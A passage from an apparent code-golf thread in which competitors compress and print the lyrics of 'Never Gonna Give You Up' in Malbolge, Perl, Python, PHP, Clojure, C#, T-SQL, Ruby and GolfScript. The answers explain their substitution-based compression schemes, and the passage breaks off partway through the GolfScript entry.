P*).-,%Ij('~}|B"!~`|u;yxwvXWsl2ponmfN+LKgf_%cba`YX|\[ZSRvVOTSLQPImMLKDhB*F?>CB;_?8=<5Y9y765.-,+O/('&J$j(!E%e{zy?}|^]yxq7XWsrkji/mfN+ihg`H^$b[Z_^W\UySRQPtsSR43ImM/KJIBAeED=<;_"!=<5Y9yx65.R210)o'&J*j('~}${A!~}_{t:9wpXtsl2poQg-NMiba`&dFEa`_X|\[ZYR:u8NSRQJImG/EJCHAeE'=B;@?>7[;49870T4t2+*)M-,+*#"!E}|{"y~w={]\xqpo5srqjoh.-kjchgf_%cE[`Y}]\U=YXWPt7MLKJImGLKDCHAed>=B;_"!=<5Y9216543,P*)('&J*ji'~D${cy?}v{tyr8vutVrkji/mlkjihJI_%F\aZ_^W{>=YXWPOsSRQP2NGLEDhBGF?c=B;_?>~}5Y9876v43,+O/o',+$)"Fg%|{"y?w|utyr8vXnm32poQ.lkdib(feGcba`Y}]?UTYRvPOTSRKo2NGFjD,HAeED&B;_?>~<;:3W165.-,P0)o'&J*ji!E}|{"y?w|utyr8potsrk1ongOkd*hgfe^F\"C_^W\UyYR:uOTMqQP2NGLEiIHGF?>CB;_?!~<;:981U/43,10/.-&J$j"'~De#"!~w={tyrwpun4rqpRh.Okdihgf_^$bDZ_^]VzTSRQVONMqQJOHlF.JIBf)d'CB;:?8\<;492V0vS-s+*NonK+k)('~De{z!x>_uzyrq7Xtsrkpi/POedchg`&G]#aC_X|?>ZYXWPt7MLKJImMFEDCgGFEDCB;_?>=<5{3W165.R2r0/.'KJ$#('~%|Bcb~w|u;yxqYo5srTSihg-kMc)J`e^]#aCBXW{>=YXWPOsM5Ko2HMFKJIHAeE'=B;@?>7[;49870T4t2+*)M-,+*#"!E}|{"y~w={]\xqpo5srqjoh.-kjchgf_%cE[`Y}W?UZYRQuUTS54PImGLKJIHGF?cCB$#9]=<|49870Tut21*)M'&%*)(!E%$#"y?}|{zyxwpo5Vlqpih.fN+LKgf_%cba`YX|\[ZSRvVOTSLQPImMF.JIBf)(DCB;_?!~6;:981U54-s+*NonK+k)('~De{z!x>_uzyrq7Xtsrkpi/POedchg`&G]#aC_X|?>ZYXWPt7MLKJImMFEDCgGFEDCB;_?>=<5{3W165.R2r0/.'KJ$#('~%|Bcb~w|u;yxqYo5srTSihg-kMc)J`e^]#aCBXW{>=YXWPOsM5Ko2HMFKJIHAeE'=B;@?>7[;49870T4t2+*)M-,+*#"!E}|{"y~w={]\xqpo5srqjoh.-kjchgf_%cE[`Y}W?UZYRQuUTS54PImGLKJIHGF?cCB$#9]=<|49870Tut21*)M'&%*)(!E%$#"y?}|{zyxwpo5Vlqpih.fN+LKgf_%cba`YX|\[ZSRvVOTSLQPImMF.JIBf)(DCB;_?!~6;:981U54-s+*NM-ml*)(!E%${cy?`v{zyr8putsrkj0hgfejiba'eGc\[!_^W{U=SwQ9UNr5QPIHMFjJ,BAe?'C<;@9]~<5Y3876/.3,Pqp(',+*#G'&feBzy~w={]yxwvo5mrqj0hmlejiba'eG]b[`Y}@VUySXWPUTMqQJ2NGkEJCHA@dDCB;_987<;:9810Tu3,10).'K+$j"'~D|dz@~}_{t:xqpon4rqjRnmf,jchaf_%]Ea`_^]VzZYXQ9UNr54JnH0LKDhHGFEDCB;_?!~<;:981U/u3,+*N.-,%k)"Fg%$#"!x>v{tyrq7Xtmrk1oQPfejc)gfH%]baZ_^W{[TSwv9OTMLp3ONMLEDhBGFEDC<;_"!7[|{9870T43,+Op.-&+$)"F&f$#zy~w=^]sxqpo5srqpoQg-Njchafedc\"`_X]VzZYR:u87SLKJnNM/KDhBGF?>=aA@?!~6;:3W7wv.-2+O/o-&J$j"'~D${c!x>|{tyxq76nsrkpi/gfkdiba'HGcb[!_^@VUTx;WPUTMqQPONM/EiCHG@dDCB;_987<;:9810T.-,10)M',%$)"F&feB"!a}|u;\xqputm3qpRQ.fkdcbg`&dFEaZ~A@\[TxXQ9UTMqQPINMFjJ,HG@d'=BA:?87[;:z8765.R210/o-&J$j"'~D$dc!x>|uzyxqpo5Vlqping-kdchg`_%cE[`Y}]?>ZSRWVOsM5KoOHMFjJCHGF?cCB;@?87[;:z8765.R,1*/.-&%Ij('~}|Bc!x>_utsxqpo5mlk1onmfN+iKg`_^$E[!~^]\U=SwQVOTMRQJImMLKD,HAe?DCBA@?>7[|{92V6/.3210)(Lm+*#G'&feBzy~w={ts9wvXnm3kSohglkjiha'e^]\a`Y}@VUyYX:POTMqQJ2NMLKDhHA@dD=<`#"8=<;:3W7654-Q10/('K+$)(!EfeBzb~wv{t:[wpon4Ukji/Plkjchgf_^$bDZ_^]VzZ<Rv9OTMLpPON0/KJIHAeE>=B;:9]~654X270T.-2+*/.-&J*j"!~D${cy?}v{tyr8vuWsrqpi/mleMihgf_^]#aZ_XWVzyYXWP8NrRQ32NMLEDhHA)?cCB$@987[5{321U5u32+O)o'&J*ji'~D${c!x>_{tsrwvun43qpohgf,jihgfH%cba`_A@\Uy<;QPONMqQP2HlL.JIBf)dD=BA@9>7[5{321U/.3,10/(LKl*)"F&feBc!x>|^]yxq7utVlkj0/mfN+LKgf_%cba`YX|\[ZSRvVOTSLQPImGLEDIBAe(D=<A@?>7[;43W76v43,+O/(n,%I)('gfCd"!xw|{zs9wvutm3qponmlkdcb(f_^$#[`_^]VzTYRv9OTMLpP21GkKD,BG@d>CBA:^>~6549270T.3,1*)ML,%k)"F&feB"!~w=^]s9wYXnml2ponmlkjiba'eGc\[!_^@VUTxXQ9UNr54JnH0LKJIBAeEDCBA:^>=<54X8x6/S3,10/.-&J*j"!~D|#zyx>v{zs9qvutsrk1Rngfkd*hJIedcb[!_A]\UZSwvPUNSLp3INGFjJI+*F?cCB$#9]~}5:32V6v43,+O/o-,+*#G'~f|{"y?}|{zsxq76tVrkji/mfN+ihg`H^$b[`Y}@VUTxX:Pt7SRQPOHGk.JCBGF?cC<A:^>=<5:3W76v43,+Op.'&%Iji!&}$#z@a`|{zsxq7uWsrkj0QPlejchg`&d]\a`_^]\UTxX:Pt7MRKJIHlLE-IBAe(D=<A:^>~6549270T432r0/.'KJ$#('~%|Bcb~w|u;y[qvotsrk1inmle+LKa'eGc\[!_^@VUTxXQ9UNr54JnH0LKJIBAe?'CBA@9]~65:9870Tut,+0/(Lm+*)"!&%${Aya}|{ts9ZYotmrk1Rnglkdihg`&d]\a`_^]\UTxX:Pt7MRKJIHlLE-IBAe(D=<A:^>~6549270T432r0/.'KJ$#('~%|Bcb~w|u;yxwYXn4rqpohg-kjiba'eGc\[!_^]\[Z<Rv9UTMRKPOHlF.DhBGF?>=a;:?8=6Z:3y76/St,+O/('&%$Hi!&}${Ab~}vut:rwpun4lTpi/Plkjchgf_^$ba`_A@\[TxX:Pt7MRKJIHlL.JIBf)dDCBA#9]~65:9870T4-2+O/.-m%*#G'&f${A!awv{zs9wpunsrkj0hgfejiba'eG]b[`Y}@VUy<;WVUTMqQJ2NGkKJIHA@dc&BA@?>=<5Y9216543,P*).-,%Ij('~}|B"!~`|u;yxwvXWsl2ponmfN+LKgf_%cba`YX|\[ZSRvVOTSLQPImMLKDhB*F?>CB;_?8=<5Y9y765.-,+O/('&J$j(!E%e{zy?}|^]yxq7XWsrkji/mfN+ihg`H^$b[Z_^W\UySRQPtsSR43ImM/KJIBAeED=<;_"!=<5Y9yx65.R210)o'&J*j('~}${A!~}_{t:9wpXtsl2poQg-NMiba`&dFEa`_X|\[ZYR:u8NSRQJImG/EJCHAeE'=B;@?>7[;49870T4t2+*)M-,+*#"!E}|{"y~w={]\xqpo5srqjoh.-kjchgf_%cE[`Y}]\U=YXWPt7MLKJImGLKDCHAed>=B;_"!=<5Y9216543,P*)('&J*ji'~D${cy?}v{tyr8vutVrkji/mlkjihJI_%F\aZ_^W{>=YXWPOsSRQP2NGLEDhBGF?c=B;_?>~}5Y9876v43,+O/o',+$)"Fg%|{"y?w|utyr8vXnm32johg-Njchgf_^$\a`Y^]\UTxX:Pt7MRKJIHlLE-IBAe(D=<A:^>~6549270T432r0/.'KJ$#('~%|Bcb~w|u;yxqYo5srTSihg-kMc)J`e^]#DZ_^]VzTSRQVONMqQJOHlF.JIBf)d'CB;:?8\<;492Vw5.-,+O/('&J$j(!E%e{zy?}|^]yxq7XWsrkji/mfN+ihg`H^$b[Z_^W\UySRQPtsSR43ImM/KJIBAeE>&<`@9876Z4321U5432+*)M-,+*ji!E}|{"y?w|utyr8potsrk1onmlkdiba'eGcba`Y}]?>ZYXQuOTSLpPIHMLEDCg*@?>=a$@9]=<;{z876/S3210/o-&J*j"!~D|{z@awv{zyr8pXn4rqjoh.-kjchgf_%cE[`Y}]\[ZSRWVOsS54JnNML.DhHA@EDCB;_"!=<5Y3y165.-Q1*/.-&Jk#"'~D|#z@x}vut:rwpun4rqjih.lkjihJI_%F\aZ_^W{>=YXWPOs65KJOHlL.JIHG@dDCB$@?>=<5Y98x6543,P0)(-,%$#(!E%|#"!x>_{tyr8vuWmrqji/mlejihgf_^]#a`BA]\[TxR:u8NSRQJImG/EJCHAeE'=B;@?>7[;49870T4t2+*)M-,+*#"!E}|{"y~w={]\xqpo5srqjoh.-kjchgf_%cE[`Y}]\>=SwWP8NrLKPOHGkKJ,HG@d'=BA:?87[|{98765.R210).'K+k#G'&feB"!x}v{zs9wYXn4rTSoh.lNjibg`&G]#aC_X|?>ZYXWPt7MLKJImMFEDCgGFEDCB;_?>=<5{3W165.R2r0/.'KJ$#('~%|Bcb~w|u;yxq7utVrkji/Pledihg`&dcba`Y}W?UZYRQuONMLQJOHlkKJI+AeED=%;_?!~<5Y98x6543,P0/.-m%*#G'&f${A!awv{zs9wpunsrkj0hgfejiba'eG]b[`Y}@VUy<;WVUTMqQJ2NGkKJIHA@dc&BA@?>=<5Y9216543,P0po'&%I)(!g%${Aya}|u;:rwpun4rqjih.fN+cha`_^$ba`BX|\[ZYX:Pt7SRQPOHGkKJ,HAF?>bB$:?8=6Z:3y76/St,+O).',%$#G'~f$#"!x>|{z\xwp6tsrkpong-kjihgfH%cbDCYXW{>=YXQu8NMLpJINGLEJIBfe(>=a$@9]=<;{z876/S3210/o-&J*j"!~D|{z@awv{zyr8pXn4rqjoh.-kjchgf_%cE[`Y}W?UZYRQuUTS54PImGLKJIHGF?cCB$#9]=6|:32V0/432+Op.'K+k#G'&feBzb~w=^]srqpo5srqpRQ.fejiha'edFEa`_X|?>ZYXWPt7MLKJImMFEDCgGFEDCB;_?>=<5{3W165.R2r0/.'KJ$#('~%|Bcb~w|u;y[qvotsrk1inmle+LKa'eGc\[!_^@VUTxXQ9UNr54JnH0LKJIBAe?'CBA@9]~65:9870Tut,+0/(Lm+*)"!&%${Aya}|{ts9ZYotmrk1Rnglkdihg`&d]\a`_^]\UTxX:Pt7MRKJIHlLE-IBAe(D=<A:^>~6549270T432r0/.'KJ$#('~%|Bcb~w|u;yxwYXn4rqpohg-kjiba'eGc\[!_^]\[Z<Rv9UTMRKPOHlF.DhBGF?>=a;:?8=6Z:3y76/St,+O/('&%$Hi!&}${Ab~}vut:rwpun4lTpi/Plkjchgf_^$ba`_A@\[TxX:Pt7MRKJIHlL.JIBf)dDCBA#9]~65:9870T4-2+O/.-m%*#G'&f${A!awv{zs9wpunsrkj0hgfejiba'eG]b[`Y}@VUy<;WVUTMqQJ2NGkKJIHA@dc&BA@?>=<5Y9216543,P*).-,%Ij('~}|B"!~`|u;yxwvXWsl2ponmfN+LKgf_%cba`YX|\[ZSRvVOTSLQPImMLKDhB*F?>CB;_?8=<5Y9y765.-,+O/('&J$j(!E%e{zy?}|^]yxq7XWsrkji/mfN+ihg`H^$b[Z_^W\UySRQPtsSR43ImM/KJIBAeED=<;_"!=<5Y9yx65.R210)o'&J*j('~}${A!~}_{t:9wpXtsl2poQg-NMiba`&dFEa`_X|\[ZYR:u8NSRQJImG/EJCHAeE'=B;@?>7[;49870T4t2+*)M-,+*#"!E}|{"y~w={]\xqpo5srqjoh.-kjchgf_%cE[`Y}]\U=YXWPt7MLKJImGLKDCHAed>=B;_"!=<5Y9216543,P*)('&J*ji'~D${cy?}v{tyr8vutVrkji/mlkjihJI_%F\aZ_^W{>=YXWPOsSRQP2NGLEDhBGF?c=B;_?>~}5Y9876v43,+O/o',+$)"Fg%|{"y?w|utyr8% ``` [Try it online.](http://www.matthias-ernst.eu/malbolge/debugger.html) Generated using the tools [here.](http://zb3.github.io/malbolge-tools/#generator) [Answer] # Perl, ~~584~~ ~~578~~ ~~577~~ ~~576~~ ~~575~~ ~~571~~ ~~564~~ ~~554~~ ~~553~~ 540 This solution follows the same basic approach as most of the others: given an initial string, perform repeated substitutions of repeated portions of the text. The substitution rules are specified by a single character, preferably one not occurring in the output text, so a rule of length L and occurring N times will save approximately N\*L-N-L-1 (N\*L is the original length of all occurrences, but the substitution character occurs N times, and the literal text itself has length L, and the rules are split by a separating character.) If the substitution characters are explicitly specified, then the savings is reduced to N\*L-N-L-2. Given that most languages can compute a character with chr() or similarly short code, the first approach tends to be superior. There are some drawbacks to computing the substitution character, the most significant being the need for a continuous range of ASCII characters. The output uses mostly lowercase letters, but there are enough uppercase letters and punctuation to require either replacing a character with itself, remapping a few characters in a fixup stage afterwards, or ordering the rules such that replacements with problematic characters occur earlier. Using a language that replaces using regexes also means that there are gotchas for characters that have special meaning within a regex: `.` `+` `*` `\` `?` My original approach had 63 bytes in the decoder and 521 in the rules. I spent a lot of time optimizing the rules, which can be tricky particularly with the short rules as they can overlap. I got the decoding down to 55 bytes and the rules down to 485 by cheating the formula a little bit. Normally, a 2-character rule that occurs 3 times or a 3-character rule that occurs twice would not actually save any length, but there is a loophole - which also allows for making up words that aren't part of the output ;-). I do make use of control characters in this solution, so the solution is provided here base64-encoded. ``` cz09AhpuCnRyYQ8QcxIHbG8OGRwVBHJ1bGVzDRRzB2QHSQFBE3VsbCBjb21taXQIbnQXcxFoYXQs FWluaxtvZhkRC2xkbhd0BWV0FWlzE3JvbQ1ueR8FdXkuJ0EUaWYYDXNrIAgtRG9uF3QgHiAIGBp0 bwdibGkUdAoDKysBKSkoKCcuKys9OyRjPWNociQ9LS0sczpbJGNdOigiCldlZWVlICBnb3RvIG1l b3cHc291bmQgYXZlbmdlciB3IHQgZgwgEmhpDiciPX4vLj9cRC9nLHNwbGl0CjAsJyB5CzABWQsw F3IEMGkPIDAga24JMG5uYSAwdGVsbDAgBmgQMCAwFhggdXAwZQ5yBW8dMHQXcyBiA24gMGF5IGl0 ATABTiIwAShPb2gwAQECFw4cbiBlYWNoHxNvciBzB2xvDxlyIGhlYXIjYWNoG2J1dBkadG8KaHkS CiRJbnNpZGURBGIGaBwRaGEjZ28bb24BAhwVBGdhCA0Ud2UaZ28dcGwkMCYpJWcWLCBuImcWAShH ISkwJiwFISkwbWFrZRggMAElZyElbGV0GCBkCW4lcnVuDXILFGEUZGVzEHQYJSpjcnklc2F5BW9v ZGJ5ZSUeDSBsaWUNFGh1cnQYMCBJF20wIGgJLBMDbGkPATABSSBqdXN0EWEdHhgtRwZ0YSAqdQwQ c3RhDCsnKVskPV06ZWd3aGlsZSQ9O3ByaW50 ``` And here it is as a slightly more readable (but less executable) version. ``` s==^B^Zn tra^O^Ps^R^Glo^N^Y^\^U^Drules^M^Ts^Gd^GI^AA^Sull commit^Hnt^Ws^Qhat,^Uink^[of^Y^Q^Kldn^Wt^Eet^Uis^Srom^Mny^_^Euy.'A^Tif^X^Msk ^H-Don^Wt ^^ ^H^X^Zto^Gbli^Tt ^C++^A))(('.++=;$c=chr$=--,s:[$c]:(" Weeee goto meow^Gsound avenger w t f^L ^Rhi^N'"=~/.?\D/g,split 0,' y^K0^AY^K0^Wr^D0i^O 0 kn^I0nna 0tell0 ^Fh^P0 0^V^X up0e^Nr^Eo^]0t^Ws b^Cn 0ay it^A0^AN"0^A(Ooh0^A^A^B^W^N^\n each^_^Sor s^Glo^O^Yr hear#ach^[but^Y^Zto hy^R $Inside^Q^Db^Fh^\^Qha#go^[on^A^B^\^U^Dga^H^M^Twe^Zgo^]pl$0&)%g^V, n"g^V^A(G!)0&,^E!)0make^X 0^A%g!%let^X d^In%run^Mr^K^Ta^Tdes^Pt^X%*cry%say^Eoodbye%^^^M lie^M^Thurt^X0 I^Wm0 h^I,^S^Cli^O^A0^AI just^Qa^]^^^X-G^Fta *u^L^Psta^L+')[$=]:egwhile$=;print ``` However, I suspect this still isn't the minimum, as Ed H. points out that the php decoding is the shortest at 44 bytes and I have seen room for improvement in the rules he is using. I do have a 52-byte decoder in Perl but I was unable to use it for this solution as I needed to run through the range in reverse. [Answer] # Python 2.7, 975 803 bytes Not the greatest - I (now) wish python did formatting expansions like so. Alas it doesn't. Edit: Simulated expansion with alternate formatting syntax (sort of..) ``` print("""We're no strangers to love You know the rules and so do I A full commitment's what I'm thinking of You wouldn't get this from any other guy {10}{8} {11} %s {13} And if you ask me{8} Don't tell me you're too blind to see %s %s {0}, {2}) {0}, {2}) {0}) {1}{12} {9} {0}) {1}{12} {9} {13} {10}{8} {11} %s %s %s"""%tuple(['{1}{2}\n{1}{3}\n{1}{4}\n{1}{5}\n{1}{6}\n{1}{7}']*6)).format(*"(Ooh|Never gonna |give you up|let you down|run around and desert you|make you cry|say goodbye|tell a lie and hurt you\n| how I'm feeling|(Give you up)|I just wanna tell you|Gotta make you understand|give, never gonna give|We've known each other for so long\nYour heart's been aching but\nYou're too shy to say it\nInside we both know what's been going on\nWe know the game and we're gonna play it".split('|')) ``` [Answer] ## PHP 730 707 characters ``` <?$l=' you';$n='Never gonna';$z="give$l up";$m=" $n $z $n let$l down $n run around and desert$l $n make$l cry $n say goodbye $n tell a lie and hurt$l ";$o=" We've known each other for so long Your heart's been aching but You're too shy to say it Inside we both know what's been going on We know the game and we're gonna play it ";$p="(Ooh, $z)";$r="($z)";$g=" how I'm feeling";$s="$n give, $n give";$t="I just wanna tell$l$g Gotta make$l understand";echo"We're no strangers to love You know the rules and so do I A full commitment's what I'm thinking of You wouldn't get this from any other guy $t $m$o And if$l ask me$g Don't tell me$l're too blind to see $m$m $p $p (Ooh) $s $r (Ooh) $s $r $o $t $m$m$m"; ``` [Answer] ## Perl - 589 588 583 579 576 Bytes Each rule consists of a 1 char head, a body and an underscore. As long as rules can be chopped off the beginnig, the head of the rule is replaced with its body in the rest of the Text. The head of the first rule is given, the heads of all following rules are generated from the variable $i. Since the head for the next rule is placed on the beginning of the text by the previous rule, the last rule will create a character that wont be removed anymore. I had to chose a range of names where the last one would be "W", so i could remove the original "W" from the start of the lyrics, and had it replaced by the rule substitution. The encoding was done by a Python script using a simple hillclimbing algorithm. Here is the Perl code: ``` $_="qou_on_er_Hh_ w_ (Ooh_ell_ a_ay it _'reHoC_g0na _makeR _ve_ oth1 _ing_e ___A_t's been _o _D_4, gP)_ Yq_G_ t_I_ know_ NT_nd _ how I'm feel= _N_O_i;R up_4)Kgi;, nTgi; (GP)_ yq_ I just3annaH5RMGotta :und1stand V_e;r 9_ We';Jn each<for sCl0gFr hearBach= butF8shyHCs7Insid>w>bothJ3haBgo= 0 WeJ2>gam>aLwe'r>9pl7_KgPKletR downKrun6rqLaLdes1tRK:cryKsay goodbyeKt56 li>aLhurtR _e'r>nCstrang1sHClo;FJ2>rules6LsCdCI A full commitment's3hat I'm2ink= ofF3qldn't get2is from6ny<guySUALifR6sk meMD0'tH5 meR8bliLtCsee VVEEQQ USVV";$i=48;eval"s/$1/$2/g"while s/(.)(.*?)_/chr($i++)/se;print ``` (I find it remarkable that the compressed Text contains "hearBach" :D) And here the Python code that generates it: ``` import collections, sys text = sys.stdin.read().replace('\r\n','\n') text = text[1:] names = list(["q"] + map(chr, xrange(ord('0'), ord('W')))) done = False name = "" while not done: done = True best = (0, None) for m in xrange(1, len(text) / 2 + 1): counter = collections.Counter() for i in xrange(0, len(text) - m + 1): snippet=text[i:i+m] if not '_' in snippet: counter[snippet] += 1 for snippet in counter: n = counter[snippet] gain = n * m - n - (m + 1) if gain > best[0]: actual_gain = len(text) - len(text.replace(snippet,"")) - n - (m + 1) if actual_gain > best[0]: best=(actual_gain, snippet) done=False if not done: snippet = best[1] try: lastname = name name = names.pop() while name in 'ADGION': text = name + '_' + text name = names.pop() while name in '?@': text = '_' + text name = names.pop() except: sys.stderr.write('Warning: out of names.\n') lastname = "0" break text = snippet + '_' + text.replace(snippet, name) sys.stdout.write('$_="') sys.stdout.write(name + text) sys.stdout.write('";$i=' + str(ord(lastname)) + ';eval"s/$1/$2/g"while s/(.)(.*?)_/chr($i++)/se;print') ``` [Answer] # Clojure ## 720 bytes / characters: (Reproduced here with extra whitespace so you can see the formatting) ``` (let [r{\&" and "\Y"You"\0"\n"\1" you"\2" gonna"\3"give"\5" up"\6"ever"\F" how I'm feeling"\T" to"} s str n"0N62 " c(s n"315"n"let1 down"n"run around&desert1"n"make1 cry"n"say goodbye"n"tell a lie&hurt10") p"0(Ooh, 315)" g"0(Give15)" q(s n "3, n62 3") o"0(Ooh)" w(s "0We've known each other for so long0Yr heart's been aching but0Y'reTo shyT say it0Inside we both know what's been going on0We know the game&we're2 play it0") u(s "I just wanna tell1F0Gotta make1 understand0") v"We're no strangersT love0Y know the rules&so do I0A full commitment's what I'm thinking of0Y wouldn't get this from any other guy0" R(s v u c w"And if1 ask meF0Don't tell me1'reTo blindT see0"c c p p o q g o q g\0 w\0 u c c c)] (apply s(map #(r% %)R))) ``` [Answer] ## Python, 573 chars My `sed` solution won't go any further, and it was beaten by several people, so I went for a new approach. Unfortunately, it's only good enough for 2nd 3rd place (as of now) - [Ed H. is still much ahead of me](https://codegolf.stackexchange.com/a/6166/3544). ``` x="WM n=straQRsF=loB7Erules3s=d=IXA full commitSnt'sKhatVFhink;of7KTldn'tUetFhis fromLny9guy.-AC if?Lsk S1Don'tFP S?<bliCF=see//X82)8002)-.//" i=45 for r in"XXW'BHn each9for s=loQ7r hear6ach;but7<shyF=s@InsideKe bothHKha6go;onXWEgaS3weM:pl@|XI justKannaFP?1Gotta >uCRstaC/|X4g24let? down4runLrTC3desRt?4>cry4sayUoodbye4tPL lie3hurt?|2)J)4giB, n5giBX(G| howV feeliQX|iB? up|LC |XN5|eBr:|t's been |XYT|J,U| othR |Uonna |iQ |MFo=|o |make? | yT|ay itX|A|ve|nd|D|HFhe | t|G| know|I|X(Ooh| w| a|'re|N|O|ell|ng|er|me|ou| g| I'm|We|\n".split("|"):x=x.replace(chr(i),r);i+=1 print x ``` **Notes**: 1. The main idea was borrowed from Ed H. - using consecutive characters for replacement, instead of specifying them in each replacement rule. 2. My way to deal with characters which exist in the song is different from Ed's - I simply make sure to translate each to itself (and if it's always followed by something, add it as well, which only worked for `W`). 3. The code is generated by a script that looks for good translations. At first, I used a greedy algorithm, which simply takes the one that gives the best reduction. Then I've found that tweaking it to prefer longer strings improves it a little. I guess it's still not optimal. [Answer] # C# - 605 characters | T-SQL - 795 characters | C# - 732 characters | C# - 659 characters The inspiration for this came from the sed example. The only major change I made from that was making the lookups consecutive ASCII characters so they didn't have to be declared. Unfortunately, it is C#, so I don't know how to make it smaller. I took the same replace text and did the code in T-SQL using a temp table. ``` var f='#';Debug.Print("HWe've0n each o=F forCo long5r hear+@ch>but5E<oChy<C1InsideBe bo=0Bha+;o>onHWe0 =e;ame7weE8pl1|HI justBanna :4*Gotta 2u?Fsta?%|H/93up/let3down/run@rou?7desFt4/2cry/say;oodbye/:@ lie7hurt4|(Ooh)/9,nevF89H(G.|'|(|)| how6feelingH|t's been|, |(Ooh,g.|ive3up)H|HNevF8| know|ay itH|make3|4 | you|HYou| I'm |@? |;onna |give|tell| g| to|th|ing |nd| a|A| w| s|D|'re|er|G|\n" .Split('|').Aggregate("WeE noCtrangFs< love50 =e rules7so do IHA full commitment'sBhat6=ink>of5Bouldn't;et =is from@ny o=F;uy$H#A? if3ask me*Don't : me4E<o bli?<Cee%%HH--&&#$%%",(x,t)=>x.Replace(f++.ToString(),t))); ``` T-SQL ``` CREATE TABLE #t(i int IDENTITY(35,1),t varchar(1000) COLLATE Latin1_General_CS_AS) DECLARE @s varchar(4000) SET @s = REPLACE(REPLACE(' INSERT #t SELECT ''We"ve0n each o=F forCo long5r hear+@ch>but5E<oChy<C1InsideBe bo=0Bha+;o>on We0 =e;ame7weE8pl1| I justBanna :4*Gotta 2u?Fsta?%| /93up/let3down/run@rou?7desFt4/2cry/say;oodbye/:@ lie7hurt4|(Ooh)/9,nevF89 (G.|"|(|)| how6feeling |t"s been|, |(Ooh,g.|ive3up) | NevF8| know|ay it |make3|4 | you| You| I"m |@? |;onna |give|tell| g| to|th|ing |nd| a|A| w| s|D|"re|er|G''' ,'"',''''''),'|',''' INSERT #t SELECT ''') EXEC(@s) SET @s = 'WeE noCtrangFs< love50 =e rules7so do I A full commitment''sBhat6=ink>of5Bouldn"t;et =is from@ny o=F;uy$ #A? if3ask me*Don"t : me4E<o bli?<Cee%% --&&#$%%' SELECT @s = REPLACE(@s, CHAR(#t.i), #t.t) FROM #t PRINT @s ``` C# - Second Try This was try at a different approach. The compression was done entirely by the computer seeking the best replacements. The lookups are sequential and ordered by size so there is no need for delimted lookup, however, the code to do the lookups was less efficient than I thought so it ended up costing 127 more characters overall! Live and learn. ``` static void Main() { var o="6Gn/tr7g0s,+lo-FJrules.Ds+d+}$z8ull commit9nKLtR1ink:ofF23ldn't4et1is8rom.nyUguy]Xn_zDifC.sk 9[\"5't,I 9CM+bliDt/;^^$N<N\\<X_]^^"; for(char z='\0',y;z<12;z++) {y='_';for(int i=0,f=333,k=65;i<z;k=y-"'?MRTQNL@(} "[i++]){ for(;y>"^]\\[ZVROB) y"[i];){ f-=k; o=o.Replace(y--.ToString(),"AWGINODY\n,&'()e o tve a+ser,h wou gon{ean fmeH eeS)tCowaDr oti- y3nd $~P$#3'r*ingellQ1*t's2haGtoT%4ache-@V kn> }'mBC up$(!oh Ah0 g5na K b;n $$6'-QmakeC ay it$ h>R8;lH$<T)EgB% nPgB$(|$} just27na,IC[|Ata Yund0st7d^$EgSEle= d>nErun.r3D?des0=EYcryEsay4oodbyeEtI. li*?hur= eOUfo@s+l5gF@hearWO:butFM/hy,/Z}nsid*w*bAhQLWgo:5$6Jgam*?weGVplZ".Substring(f,k)); if(y==' '){y='~';i++;}}}} Console.WriteLine(o); } ``` 3rd try at C#. This time I expiremented with \b,\r,\t characters. You can use \rN\n to replace the first character on the line with a capital N, but it didn't actually save characters. I created \b aliases to move the cursor back and then write over existing text. But none of this saved space and in the end I was still worse off than a simple search-and-replace strategy. ``` static void Main() { var f='*'; Console.Write("C04EC0let8downEC0run arouKJdes>t8EC06cryEC0say goodbyeEC0tePa lie Jhurt8E|CWe'veQn each=for sLlongC7r hear?<achFbutC75HoLshyHLs;Inside we bothQ wha?<goFonCWe3ga@ Jwe51pl;|,|CI just wannaHell82CGotta 6und>stJC|(Ooh)C0:, 91:EC(4)R(GC|(Ooh, 4)C|91| gonna |how I'm feelF|QHhe |:8up|'re|make8|You| you |nev>|give|ay itC|been | oth> |er|t's |me|A|EC0|\n|D|RN|ing |G| t|I|aK|nd |o |n't |N|O|ll | know|\r" .Split('|') .Aggregate( "We5 nLstrang>sHLloveC73rules JsLdLICA fuPcommit@n?what I'mHhinkFofC7 wouldMgetHhis from any=guy-*C+AKif8ask @ 2CDoMteP@8\b5HoLbliKtLseeC*C*CC//..+-*C*C*", (x,t)=>x.Replace(f++.ToString(),t))); } ``` [Answer] # PHP, ~~591~~ ~~585~~ ~~568~~ 564 bytes ``` <?=strtr(ucwords(str_replace(range('-',a),split(q,"/3/let@d_n/runxarouPxBdese5/?cry/sayxKodbye/7VliLBhu5 q;)/4,x04 3)q 0qneOUCq;,x3)q ixju[TNnax7J6KttV?uPR[Nd q4@upqgiOqrZJqxh_If`lA qtellxq S'O=nxeach<foUsMlXg>UheartDachAxbut>HshyEsG\sidLwLboY=FDKAxX S:gamLB9CplGqS'rLq=QhLq oohqxoYRxqxkn_q Jqmake@qxJxq\gqNdxqgXnVq'^b`nxqQMqThatqayxit q'rLtoMqxz'mxqyouq".join(q,str_split(goexoxanvendxterwexwrxaxmeonthtxstinulsxoweea,2))),"9nM[rNgRsEloO>:r]e^BsMdMz Vf]lxcommitWnt'sFIY\kAxof>To]dn'ZgetxYi^fromxNy<guy2-8Bif@askxW6dX'tx7mLJHbliPEs` --11.. 82---")),'x z',' (I'); ``` [Answer] # Ruby, 1014 bytes I am just learning programming, so I'm not going to break any records here. But, this was a fun task. ``` def c wonts = ['give you up', 'let you down', 'run around and desert you', 'make you cry', 'say goodbye', 'tell a lie and hurt you'] wonts.each do |w| puts "Never gonna #{w}" end b end def b puts "\n" end def never puts "Never gonna give, never gonna give (Give you up)" end def v1 puts "We're no strangers to love You know the rules and so do I A full commitment's what I'm thinking of You wouldn't get this from any other guy I just wanna tell you how I'm feeling Gotta make you understand" b end def v2 puts "We've known each other for so long Your heart's been aching but You're too shy to say it Inside we both know what's been going on We know the game and we're gonna play it" end def s1 puts "And if you ask me how I'm feeling Don't tell me you're too blind to see" end def s2 b puts "I just wanna tell you how I'm feeling Gotta make you understand" b end def soul 2.times {puts "(Ooh, give you up)"} puts "(Ooh)" never puts "(Ooh)" never end v1 c v2 s1 b c c soul b v2 s2 c c c ``` [Answer] ## GolfScript (511 bytes) This uses a change of base to pack the bits in, so it includes characters which aren't in ASCII. However, it isn't appropriate to score those characters by their UTF-8 encoding because the interpreter treats the program as ISO-8859-1. For this reason I've specified the length in bytes rather than characters. Base-64 encoded: ``` J4w1DTwkp317WvYq88CFQym52dINzC36obopJBLKCGZZHq1S+tpz79e4/JdDYS2cdIlm+LUARZ1w 